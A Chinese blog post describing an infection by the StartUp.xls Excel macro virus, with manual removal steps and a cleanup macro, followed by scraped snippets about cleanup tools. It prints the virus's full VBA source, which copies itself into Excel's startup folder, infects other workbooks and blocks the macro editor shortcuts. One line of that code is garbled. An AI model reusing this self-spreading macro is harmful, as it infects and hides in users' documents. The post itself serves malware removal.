今天一个朋友让我帮忙看一个问题,说是Excel文件一打开再保存就提示“此文档中包含宏、ActiveX 控件、XML 扩展包信息或Web组件。他们中可能含个人作息,这些作息无法能过设置“工具”菜单下“选项”对话框“安全性”选项卡中的“保存时从文件属性中删除个人作息”来删除”。当时只是以为设置的问题,后来查了好几小时才发现原来是中了个宏病毒,名字是:StartUp.xls,中间定位病毒的过程也比较曲折(主要是自己学艺不精)。
病毒样本如下:
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
通过参考网上一些资料,采取以下的方法处理,可以清除病毒并使感染文件在修改保存后也清除病毒(网上有人说用360或卡巴直接杀会导致文件打不开,没有试验,不知是真是假):
一、删除
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\Excel11.xls
,该文件删除后,Excel会自动重建的;
二、删除
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART\StartUp.xls
;
三、新建一个空的StartUp.xls,然后录制宏(随便录,只是为了能打开VBA编辑器);
四、从“工具->宏->宏”里面,选择刚才录制的宏,选择“编辑”,把全部内容都选中,把用下列内容替换:
Sub auto_open()
On Error Resume Next
Application.ScreenUpdating = False
ActiveWindow.Visible = False
n$ = ActiveWorkbook.Name
Workbooks(n$).Close (False)
Application.OnSheetActivate = "StartUp.xls!cop"
End Sub
Sub cop()
On Error Resume Next
Dim VBC As Object
Dim Name As String
'Dim delComponent As VBComponent 网上有人贴的代码里有这句,经实测,这句会导致编译错误。VBA中没有VBComponent对象
Name = "StartUp"
For Each book In Workbooks
Set delComponent = book.VBAProject.VBComponents(Name)
book.VBAProject.VBComponents.Remove delComponent
Next
End Sub
五、保存,然后再打开染毒文档,修改保存一下就可以清除掉感染的病毒。
分享到:
相关推荐
近来StartUp.xls宏病毒导致很多EXCEL用户怨声载道,此专杀工具可以将其杀之,StartUp.xls宏病毒是通过EXCEL文件传播,如果您的EXCEL的宏安全保护设置过低,打开带病毒的EXCEL文件将会中毒,中毒后不管是打开还是新建...
### 清除宏病毒(StartUp.xls):详解与步骤 #### 一、宏病毒简介 宏病毒是一种利用Microsoft Office等应用程序中的宏功能来传播的恶意软件。它们通常隐藏在文档或工作簿中,当用户打开这些文件时,宏会自动执行,...
StartUp.xls 宏病毒专杀&免疫工具
Excel中了宏病毒之后以下方法可以使用可以试试屡试不爽。 怎样查杀Excel宏病毒“Starup”、“results”,看看这个也许给我答案
StartUp.xls宏病毒通常通过电子邮件附件、不安全的下载链接或者被感染的U盘传播。 解决这个问题的步骤包括: 1. 清除宏病毒文件: 首先,你需要找到可能被病毒感染的文件。在计算机中搜索“xlstart”文件夹,通常...
Excel 宏病毒专杀方法 Excel 宏病毒是一种非常危险的病毒,它可以感染 Excel 文档,使其变得不可读或不可用。通常情况下,Excel 宏病毒会在打开 Excel 文档时自动运行,导致文档变得不可读或不可用。那么,如何清除...
本工具用于专杀Excel的StartUp宏病毒。运行前提:1、把安全性设为低;2把“可靠运行商”的“信任对于Visual Basic项目的访问”勾上。 对前一版本(链接:http://download.csdn.net/detail/a10615/3966065)进行了...
excel表格中由于宏安全性底中的StartUp病毒,出现BOOK1、不能保存、文件打开损坏等问题。
描述中提到的“Startup(潘1006.xls)”是一种特定的宏病毒变种,它会在启动时激活,导致反复感染。"1006(潘)"可能是该病毒的一个别名或者版本号。描述中还指出,这种病毒即使使用多种专门的杀毒工具也不能完全清除,...
本工具用于专杀Excel的StartUp宏病毒。运行前提:1、把安全性设为低;2把“可靠运行商”的“信任对于Visual Basic项目的访问”勾上
公司某些员工的Excel感染了Startup宏病毒, 杀毒软件查不出来. 手工清理很麻烦, 写了个专杀. 很粗糙的作品, 需要事先手工打开Excel"工具"=>宏=>"安全性"=>"高", "可靠发行商"=>"信任对于VB项目的访问" 因为要通过程序...
startup 宏病毒专杀防疫工具 1 、本工具在EXCEL2003,excel2007和excel2010版本均适用。 2 、使用方法: A、打开附件中"宏病毒免疫工具v1.0.xls"(打开时启用宏),点击"允许删除恶意代码"按钮,然后执行文件菜单...
宏病毒专杀(CleanMacro)是毒霸资深反病毒工程师boom的业余作品,有需要的朋友可以下载使用~本专杀用于解决Book1、Startup、Results、Poppy、CopyMod、Blackice、Yugall等Office常见宏病毒。宏病毒杀不了怎么办,用...
描述中的问题表明用户可能遭遇了宏病毒的困扰,因为当他们尝试打开Excel时,没有出现预期的工作簿(例如"book1"),而是出现了病毒提示。这可能是由于病毒已经修改了Excel的启动配置,导致默认打开的不是用户期望的...
压缩包内的文件“清除StartUp宏病毒.xls”很可能是一个示例文件,或者是该病毒清除工具处理的对象。"StartUp"通常指的是Excel的启动文件夹,病毒可能会在其中放置宏,使得每次打开Excel时都会激活病毒。这种病毒会在...
Excel 弹出 book1 病毒是一种宏病毒,它会感染Excel 文件,并在打开 Excel 文件时自动弹出 book1.xls 文件。这种病毒会不断感染接下来本地所有打开过的 Excel 文件,并通过局域网内相互传文件最终感染很多同事的电脑...